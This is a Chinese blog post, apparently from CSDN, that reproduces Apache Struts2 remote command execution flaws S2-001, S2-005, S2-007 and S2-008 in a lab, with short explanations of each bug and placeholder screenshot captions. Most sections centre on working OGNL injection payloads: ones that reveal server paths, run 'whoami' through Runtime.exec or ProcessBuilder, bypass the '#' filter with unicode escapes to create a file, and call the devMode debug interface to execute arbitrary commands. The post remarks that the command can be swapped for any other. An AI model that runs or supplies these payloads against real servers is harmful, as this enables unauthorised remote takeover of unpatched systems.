Struts2命令执行

一、介绍

Struts2是一个基于MVC设计模式的JavaWeb应用框架,是在Struts和WebWork的技术的基础上进行合并的全新框架。

二、漏洞复现

S2-001(OGNL循环解析导致的RCE漏洞)

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value} 对提交的数据执行了一次OGNL表达式解析,所以可以直接构造Payload进行命令执行。

启动环境
在这里插入图片描述访问
在这里插入图片描述漏洞验证:在密码处输入%{‘123’},点击提交
在这里插入图片描述
成功解析OGNL表达式,说明存在漏洞
在这里插入图片描述
漏洞利用:
获取tomcat路径
exp:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

在这里插入图片描述
获取网站真实路径
exp:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

在这里插入图片描述
命令执行,执行whoami命令(可替换命令)
exp:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在这里插入图片描述

S2-005

漏洞原理:S2-005漏洞源于S2-003(受影响版本:低于Struts 2.0.12), struts2会将 http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问Struts的对象, Struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)就可以绕过安全限制。

环境搭建
在这里插入图片描述
访问
在这里插入图片描述
poc:

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

抓包
在这里插入图片描述查看文件
在这里插入图片描述

S2-007

漏洞原理:S2-007漏洞一般出现在表单处,当配置了验证规则-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。

环境搭建
在这里插入图片描述
访问
在这里插入图片描述注意:如果报404错误,只需要去浏览器的历史记录里清除一下缓存,然后刷新一下页面就好了!
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

当户提交age为字符串非整形数值时,后端用代码拼接" ’ “+value+” ’ "然后对其进行OGNL表达式解析。所以,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似SQLi注入单引号拼接的方式即可注入任意OGNL达式。

在age中输入’+(1+1)+',点击登录,age框返回数字,证明漏洞存在
在这里插入图片描述
执行任意命令EXP

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

在这里插入图片描述
可以把EXP中exec(‘whoami’)里的whoami改为想要执行的命令,如exec(‘id’)

s2-008

漏洞原理:S2-008涉汲多个漏洞,Cookie 拦截器错误配置可造成OGNL表达式执行,但是由于大多Web容器(如Tomcat)对Cookie名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。
另一个比较鸡肋的点就是在struts2应用开启devMode模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

环境搭建:
在这里插入图片描述访问
在这里插入图片描述POC:

/devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami

直接在url后添加即可
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值